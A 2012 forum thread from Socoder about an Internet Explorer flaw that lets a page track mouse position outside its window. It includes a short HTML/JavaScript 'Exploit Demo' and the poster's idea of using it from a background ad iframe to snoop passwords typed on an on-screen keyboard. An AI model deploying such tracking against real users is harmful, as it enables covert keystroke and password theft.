Internet Explorer Mouse Tracking

-=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- (c) WidthPadding Industries 1987 0\|31\|0 -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=-
Socoder -> On Topic -> Internet Explorer Mouse Tracking
Wed, 12 Dec 2012, 15:50
CodersRule	It's not entirely unknown to the web analytics world to generate heatmaps of mouse movements and clicks... but it looks like Internet Explorer has taken this to a new level. From IE6 to IE10, the 'onmousemove' event is fired no matter where the mouse is, or what window currently has focus. Try it yourself! I had initially modified the code from the original because it didn't work in non-IE browsers, but something went horribly wrong and I lost the version that worked cross-browser. This code is the code from the linked page: <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>Exploit Demo</title> <script type="text/javascript"> window.attachEvent("onload", function() { var detector = document.getElementById("detector"); detector.attachEvent("onmousemove", function (e) { detector.innerHTML = e.screenX + ", " + e.screenY; }); setInterval(function () { detector.fireEvent("onmousemove"); }, 100); }); </script> </head> <body> <div id="detector"></div> </body> </html> --v I'm imagining an instance in which a userAgent reveals that a user is using a specific Windows 8 tablet (with a known resolution), and then this script tracks mouse movement from a standard Windows 8 osk (for touch screens) on the standard metro IE interface. I haven't tried this, and I'd really like for someone to try this, but it seems like password snooping could become very easy, as long as this script is loaded (even in an iframe as an advertisement) into a background tab.
Wed, 12 Dec 2012, 17:52
Jayenkai	Nngh. It scares me how creepy some of this stuff can be, when in the wrong hands, but similarly how useful it is. It's like how I used to have a kickass "Active Desktop", with a cool Star Trek LCars display. You could click the lovely links to open system folders and things. Handy, awesome, HTML!! ... Then security issue after security issue stripped away all the fucking useful stuff, until you were left with feck all functionality, and MS pretty much killed Active Desktops. Bah, humbug. We'd be light years ahead if we didn't keep stalling due to all the damned hackers. -=-=- ''Load, Next List!''
Wed, 12 Dec 2012, 17:54
CodersRule	I really loved Active Desktops. They were one of the coolest features in XP, in my opinion. You can't understand how sad I was when I discovered that they had vanished.
Fri, 14 Dec 2012, 20:10
CodersRule	Microsoft responds.